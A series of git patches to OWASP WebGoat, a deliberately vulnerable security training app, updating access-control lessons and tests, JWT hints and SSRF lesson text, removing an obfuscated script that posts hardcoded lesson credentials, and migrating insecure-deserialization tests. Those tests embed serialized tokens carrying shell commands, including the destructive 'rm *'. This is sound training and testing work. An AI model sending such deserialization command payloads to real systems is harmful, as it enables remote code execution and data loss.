a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc index 739f15dbf..96afc21db 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc +++ b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc @@ -12,4 +12,4 @@ It will likely take multiple steps and multiple attempts to get this one: - You'll need to do some guessing too. - You may need to use another browser/account along the way. -Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'Hash' for your user account. \ No newline at end of file +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry's account. \ No newline at end of file diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-04-users-fixed.adoc b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-04-users-fixed.adoc new file mode 100644 index 000000000..50f1af292 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-04-users-fixed.adoc @@ -0,0 +1,5 @@ +== The company fixed the problem, right? + +The company found out the endpoint was a bit too open, they made an emergency fixed and not only admin users can list all users. + +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry's account. diff --git a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/DisplayUserTest.java b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/DisplayUserTest.java index 2b10d7b75..a4bf62910 100644 --- a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/DisplayUserTest.java +++ b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/DisplayUserTest.java @@ -22,23 +22,22 @@ package org.owasp.webgoat.missing_ac; +import org.assertj.core.api.Assertions; import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.extension.ExtendWith; -import org.mockito.junit.jupiter.MockitoExtension; -import org.owasp.webgoat.users.WebGoatUser; -@ExtendWith(MockitoExtension.class) -public class DisplayUserTest { +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +class DisplayUserTest { @Test - public void TestDisplayUserCreation() { - DisplayUser displayUser = new DisplayUser(new WebGoatUser("user1","password1")); - assert(!displayUser.isAdmin()); + void testDisplayUserCreation() { + DisplayUser displayUser = new DisplayUser(new User("user1", "password1", true), PASSWORD_SALT_SIMPLE); + Assertions.assertThat(displayUser.isAdmin()).isTrue(); } @Test - public void TesDisplayUserHash() { - DisplayUser displayUser = new DisplayUser(new WebGoatUser("user1","password1")); - assert(displayUser.getUserHash().equals("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=")); + void testDisplayUserHash() { + DisplayUser displayUser = new DisplayUser(new User("user1", "password1", false), PASSWORD_SALT_SIMPLE); + Assertions.assertThat(displayUser.getUserHash()).isEqualTo("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc="); } } diff --git a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsersTest.java b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsersTest.java index 0046c6c79..4917549eb 100644 --- a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsersTest.java +++ b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsersTest.java @@ -28,53 +28,53 @@ import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.mockito.Mock; import org.mockito.junit.jupiter.MockitoExtension; -import org.owasp.webgoat.users.UserService; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.test.util.ReflectionTestUtils; +import org.owasp.webgoat.plugins.LessonTest; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; -import java.util.ArrayList; -import java.util.List; - +import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.is; import static org.mockito.Mockito.when; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; -@ExtendWith(MockitoExtension.class) -public class MissingFunctionACUsersTest { - private MockMvc mockMvc; - @Mock - private UserService userService; +class MissingFunctionACUsersTest extends LessonTest { + + @Autowired + private MissingFunctionAC ac; @BeforeEach - public void setup() { - MissingFunctionACUsers usersController = new MissingFunctionACUsers(); - this.mockMvc = standaloneSetup(usersController).build(); - ReflectionTestUtils.setField(usersController,"userService",userService); - when(userService.getAllUsers()).thenReturn(getUsersList()); + void setup() { + when(webSession.getCurrentLesson()).thenReturn(ac); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); } @Test - public void TestContentTypeApplicationJSON () throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/users") - .header("Content-type","application/json")) + void getUsers() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/access-control/users") + .header("Content-type", "application/json")) .andExpect(status().isOk()) - .andExpect(jsonPath("$[0].username", CoreMatchers.is("user1"))) - .andExpect(jsonPath("$[0].userHash",CoreMatchers.is("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc="))) - .andExpect(jsonPath("$[1].admin",CoreMatchers.is(true))); - + .andExpect(jsonPath("$[0].username", CoreMatchers.is("Tom"))) + .andExpect(jsonPath("$[0].userHash", CoreMatchers.is("Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo="))) + .andExpect(jsonPath("$[0].admin", CoreMatchers.is(false))); } - private List getUsersList() { - List tempUsers = new ArrayList<>(); - tempUsers.add(new WebGoatUser("user1","password1")); - tempUsers.add(new WebGoatUser("user2","password2","WEBGOAT_ADMIN")); - tempUsers.add(new WebGoatUser("user3","password3", "WEBGOAT_USER")); - return tempUsers; + @Test + void addUser() throws Exception { + var user = """ + {"username":"newUser","password":"newUser12","admin": "true"} + """; + mockMvc.perform(MockMvcRequestBuilders.post("/access-control/users") + .header("Content-type", "application/json").content(user)) + .andExpect(status().isOk()); + + mockMvc.perform(MockMvcRequestBuilders.get("/access-control/users") + .header("Content-type", "application/json")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.size()", is(4))); } - - - } diff --git a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdminTest.java b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdminTest.java new file mode 100644 index 000000000..637bf1a37 --- /dev/null +++ b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACYourHashAdminTest.java @@ -0,0 +1,44 @@ +package org.owasp.webgoat.missing_ac; + +import org.hamcrest.CoreMatchers; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +class MissingFunctionACYourHashAdminTest extends LessonTest { + + @Autowired + private MissingFunctionAC ac; + + @BeforeEach + public void setup() { + when(webSession.getCurrentLesson()).thenReturn(ac); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + } + + @Test + void solve() throws Exception { + var userHash = new DisplayUser(new User("Jerry", "doesnotreallymatter", true), PASSWORD_SALT_ADMIN).getUserHash(); + mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash-fix") + .param("userHash", userHash)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Congrats! You really succeeded when you added the user."))) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + } + + @Test + void wrongUserHash() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash-fix") + .param("userHash", "wrong")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionYourHashTest.java b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionYourHashTest.java index f39077ffb..cc07f2e36 100644 --- a/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionYourHashTest.java +++ b/webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionYourHashTest.java @@ -25,56 +25,40 @@ package org.owasp.webgoat.missing_ac; import org.hamcrest.CoreMatchers; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.extension.ExtendWith; -import org.mockito.Mock; -import org.mockito.junit.MockitoJUnitRunner; -import org.mockito.junit.jupiter.MockitoExtension; -import org.owasp.webgoat.assignments.AssignmentEndpointTest; -import org.owasp.webgoat.users.UserService; +import org.owasp.webgoat.plugins.LessonTest; import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.test.util.ReflectionTestUtils; -import org.springframework.test.web.servlet.MockMvc; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; -import static org.mockito.ArgumentMatchers.any; import static org.mockito.Mockito.when; +import static org.owasp.webgoat.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; -import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; -@ExtendWith(MockitoExtension.class) -public class MissingFunctionYourHashTest extends AssignmentEndpointTest { - private MockMvc mockMvc; - private DisplayUser mockDisplayUser; - - @Mock - protected UserService userService; +class MissingFunctionYourHashTest extends LessonTest { + @Autowired + private MissingFunctionAC ac; @BeforeEach - public void setUp() { - MissingFunctionACYourHash yourHashTest = new MissingFunctionACYourHash(); - init(yourHashTest); - this.mockMvc = standaloneSetup(yourHashTest).build(); - this.mockDisplayUser = new DisplayUser(new WebGoatUser("user", "userPass")); - ReflectionTestUtils.setField(yourHashTest, "userService", userService); - when(userService.loadUserByUsername(any())).thenReturn(new WebGoatUser("user", "userPass")); + public void setup() { + when(webSession.getCurrentLesson()).thenReturn(ac); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); } @Test - public void HashDoesNotMatch() throws Exception { + void hashDoesNotMatch() throws Exception { mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash") .param("userHash", "42")) .andExpect(status().isOk()) - .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts"))) .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); } @Test - public void hashMatches() throws Exception { + void hashMatches() throws Exception { mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash") - .param("userHash", "2340928sadfajsdalsNfwrBla=")) + .param("userHash", "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg=")) .andExpect(status().isOk()) - .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts"))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); } } From f2f7f36a6d9bca7036c4001b077c767517742bf0 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 6 Nov 2021 17:09:23 +0100 Subject: [PATCH 089/227] Fix typo in hints The hints for JWT used `jwt` instead of `JWT` which makes it difficult to solve the lesson as the hint actually points someone in the wrong direction. Resolves: #123 --- .../jwt/src/main/resources/i18n/WebGoatLabels.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 92cad6316..70ac7a4a1 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -18,7 +18,7 @@ jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat jwt-refresh-hint1=Look at the access log you will find a token there jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? -jwt-refresh-hint3=The endpoint for refreshing a token is 'jwt/refresh/newToken' +jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken' jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token jwt-refresh-not-tom=User is not Tom but {0}, please try again From ab0433bb67c0012ce54b64235d5fa70ad510eb67 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 6 Nov 2021 17:25:17 +0100 Subject: [PATCH 090/227] Fix link and typo The link pointed to the old OWASP website. Also fixed some typos here and there Resolves: #1136 --- .../en/InsecureDeserialization_SimpleExploit.adoc | 2 +- .../src/main/resources/lessonPlans/en/SSRF_Intro.adoc | 7 +++---- .../src/main/resources/lessonPlans/en/SSRF_Prevent.adoc | 8 ++++---- .../src/main/resources/lessonPlans/en/SSRF_Task2.adoc | 2 +- 4 files changed, 9 insertions(+), 10 deletions(-) diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc index 127b85236..45aa89939 100644 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc @@ -12,7 +12,7 @@ AcmeObject acme = (AcmeObject)ois.readObject(); ---- It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs. -If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to performe those actions. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to perform those actions. === Class included in ClassPath diff --git a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Intro.adoc b/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Intro.adoc index 62975c72c..b6958d2f6 100755 --- a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Intro.adoc +++ b/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Intro.adoc @@ -1,13 +1,12 @@ - == Concept -In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to. And, by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like HTTP enabled databases or perform post requests towards internal services which are not intended to be exposed. +In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to. Moreover, by carefully selecting the URLs, the attacker may read server configuration such as AWS metadata, connect to internal services like HTTP enabled databases, or perform post requests towards internal services that are not intended to be exposed. == Goals -In the exercises on the next pages, you need to examine what the browser sends to the server and how you can adjust the request to get other things from the server. +In the exercises on the following pages, you need to examine what the browser sends to the server and adjust the request to get other things from the server. == SSRF How-To * https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF == A New Era of SSRF by Orange Tsai -video::D1S-G8rJrEk[youtube, height=480, width=100%] +video::D1S-G8rJrEk[youtube, height=480, width=100%] \ No newline at end of file diff --git a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc b/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc index 67cd12051..fe33884b6 100755 --- a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc +++ b/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc @@ -1,11 +1,11 @@ - == Prevent To prevent SSRF vulnerabilities in web applications, it is recommended to adhere to the following guidelines: -* Use a whitelist of allowed domains, resources and protocols from where the web server can fetch resources. +* Use a whitelist of allowed domains, resources, and protocols from where the webserver can fetch resources. * Any input accepted from the user should be validated and rejected if it does not match the positive specification expected. -* If possible, do not accept user input in functions that control where the web server can fetch resources. +* If possible, do not accept user input in functions that control where the webserver can fetch resources. == References -* https://www.owasp.org/index.php/Server_Side_Request_Forgery \ No newline at end of file +* https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html + diff --git a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Task2.adoc b/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Task2.adoc index e97f7ace5..7f35490fb 100755 --- a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Task2.adoc +++ b/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Task2.adoc @@ -1,2 +1,2 @@ -=== Change the request so the server gets information from http://ifconfig.pro +=== Change the request, so the server gets information from http://ifconfig.pro Click the button and figure out what happened. From 2fbc52e6a2b5e83a3c01340f072eb328b3b2dafd Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 8 Nov 2021 09:35:54 +0100 Subject: [PATCH 091/227] Remove some unused code --- .../resources/html/InsecureDeserialization.html | 2 -- .../src/main/resources/js/credentials.js | 6 ------ .../src/test/resources/logback-test.xml | 16 ---------------- 3 files changed, 24 deletions(-) delete mode 100755 webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js delete mode 100644 webgoat-lessons/insecure-deserialization/src/test/resources/logback-test.xml diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html index a52f3ce1e..c0b8d7afa 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html @@ -23,8 +23,6 @@
-
diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js deleted file mode 100755 index b7387c623..000000000 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js +++ /dev/null @@ -1,6 +0,0 @@ -function submit_secret_credentials() { - var xhttp = new XMLHttpRequest(); - xhttp['open']('POST', '#attack/307/100', true); - //sending the request is obfuscated, to descourage js reading - var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) -} \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/test/resources/logback-test.xml b/webgoat-lessons/insecure-deserialization/src/test/resources/logback-test.xml deleted file mode 100644 index a2aa1f5c1..000000000 --- a/webgoat-lessons/insecure-deserialization/src/test/resources/logback-test.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n - - - - - - - - - \ No newline at end of file From 20d7015dff255683ef76252e2bcd7a51a0bc67b8 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 8 Nov 2021 09:36:17 +0100 Subject: [PATCH 092/227] Move unit test to JUnit 5 --- .../deserialization/DeserializeTest.java | 23 ++++++------------- 1 file changed, 7 insertions(+), 16 deletions(-) diff --git a/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java b/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java index 35ba51976..9e98af7d1 100644 --- a/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java +++ b/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java @@ -16,47 +16,43 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers. import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; @ExtendWith(MockitoExtension.class) -public class DeserializeTest extends AssignmentEndpointTest { +class DeserializeTest extends AssignmentEndpointTest { private MockMvc mockMvc; private static String OS = System.getProperty("os.name").toLowerCase(); @BeforeEach - public void setup() { + void setup() { InsecureDeserializationTask insecureTask = new InsecureDeserializationTask(); init(insecureTask); this.mockMvc = standaloneSetup(insecureTask).build(); } @Test - public void success() throws Exception { + void success() throws Exception { if (OS.indexOf("win") > -1) { mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") .param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")))) .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); } else { mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") .param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")))) .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); } } @Test - public void fail() throws Exception { + void fail() throws Exception { mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") .param("token", SerializationHelper.toString(new VulnerableTaskHolder("delete", "rm *")))) .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false))); } @Test - public void wrongVersion() throws Exception { + void wrongVersion() throws Exception { String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAECAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4GIQgMLRSoeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw"; mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") .param("token", token)) .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("insecure-deserialization.invalidversion")))) @@ -64,27 +60,22 @@ public class DeserializeTest extends AssignmentEndpointTest { } @Test - public void expiredTask() throws Exception { + void expiredTask() throws Exception { String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4IDC0YfvNIeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw"; mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") .param("token", token)) .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("insecure-deserialization.expired")))) .andExpect(jsonPath("$.lessonCompleted", is(false))); } - @Test - public void checkOtherObject() throws Exception { + void checkOtherObject() throws Exception { String token = "rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l"; mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") .param("token", token)) .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("insecure-deserialization.stringobject")))) .andExpect(jsonPath("$.lessonCompleted", is(false))); } - - } \ No newline at end of file From 5bf33db78f5fbdb40752760ce5055eb6bfff1e7d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 8 Nov 2021 09:37:13 +0100 Subject: [PATCH 093/227] Remove obsolete hints --- .../src/main/resources/i18n/WebGoatLabels.properties | 3 --- 1 file changed, 3 deletions(-) diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties index 8d76b6d61..b4e5e498b 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties @@ -1,8 +1,5 @@ insecure-deserialization.title=Insecure Deserialization -insecure-deserialization.intercept.success=Dangerous object received! -insecure-deserialization.intercept.failure=Try again - insecure-deserialization.invalidversion=The serialization id does not match. Probably the version has been updated. Let's try again. insecure-deserialization.expired=The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again. insecure-deserialization.wrongobject=That is not the VulnerableTaskHolder object. Good try! because the code is not checking this after running the readObject(). Let's try again with the right object. From fafddda82a41a8ecf7567cdae1c5932e6b815e6e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 8 Nov 2021 09:55:09 +0100 Subject: [PATCH 094/227] Update ZAP instructions We reference ZAP 2.8.0 explicitly which is not necessary. Also the way ZAP works changed, we no longer need to change the port as ZAP will report there is a conflict during startup. Resolves: #1141 --- .../src/main/resources/html/HttpProxies.html | 4 ---- .../resources/images/zap-local-proxy-8090.png | Bin 45813 -> 0 bytes .../lessonPlans/en/1proxysetupsteps.adoc | 5 +--- .../resources/lessonPlans/en/2zapsetup.adoc | 22 ------------------ .../lessonPlans/en/3browsersetup.adoc | 2 +- 5 files changed, 2 insertions(+), 31 deletions(-) delete mode 100644 webgoat-lessons/http-proxies/src/main/resources/images/zap-local-proxy-8090.png delete mode 100644 webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/2zapsetup.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html b/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html index 44c8c6c49..98f266c43 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html +++ b/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html @@ -10,10 +10,6 @@
-
-
-
-
diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-local-proxy-8090.png b/webgoat-lessons/http-proxies/src/main/resources/images/zap-local-proxy-8090.png deleted file mode 100644 index 42d77d4a90aa4e909de86f89c84e76db7498d400..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 45813 zcmafa2Rz%~_jh-zsJ2?vY^$hRReN{Yl-fIOL#>3`GxF`WW2;@OHWehcwl+m=5u^5q z*a;Gm=R^A&&+~s?&*Q}lN$$PpoO|y3yze>Z6Quh@mHs^I`D4e9(W|RH);o6W1Qz&_ zKX(Rr<+`YC6!7b~o1W^!W5wOYNMW5+Hu9{wC} zbdFgD1DTG0=JdU zwQcZXOKp;_RA7dNM(4Ddl!MHmn4yP(qkZsD`Hv-oy0=?UB;g>TH5{DU%uH9D2eZ_l55+@U+QQsnk+Q8I5I zhTc}cs_U=rO>~{x)CB~Uq2N_cY}NF@X0v69UZZM*>H?hN_&wFzscMdIdm*hl_@FgR zsQwjmT&}r>)tJl8+~+};q5N%RyJ?K+`U%^!0f<-blf>N}iJVx%jz-dB;Jn9o{iPSL zA>4oV@GT?%@LaHDD?b*lXL6sqG&;8p7q@yeSv5QT%vpZHpP06kDJ7WE&|oh^ne)(G z>N&5uNUirV)pcm%9~7K2%Q%_tG*!JR$vD9^?%Ve{bUea&5N^O1MfyC^v`CD#;~A%( zzK%Kb$HsX(cJ0E(Ln{Bjl_veNKETS(}q2_JhZ7Ky0d!x9S zX}E1X?1#h;QhSDl&TE8zrAt%j?Kc;5ZI+90uoUqGp>7P9LK`e^cLsS{rB&;WcU)Fe zQu^@xuV!%u1}G}rSVUJ~kUAKRr~2sAQW_`WfdLd8=xlZXXM%L3qWh5TB0K=DT#2Mi zZkb>%yibIg1Xn&n3BhcgrT$Usd;G`gKiHJpZ8dDVt*>f1XsZ zwVH(pnART{#xf3E_uU!yT2!J;Qq|z(#=-oFG>fWFDhi4bekg5GN#i=VIQ(@oZ)zA; 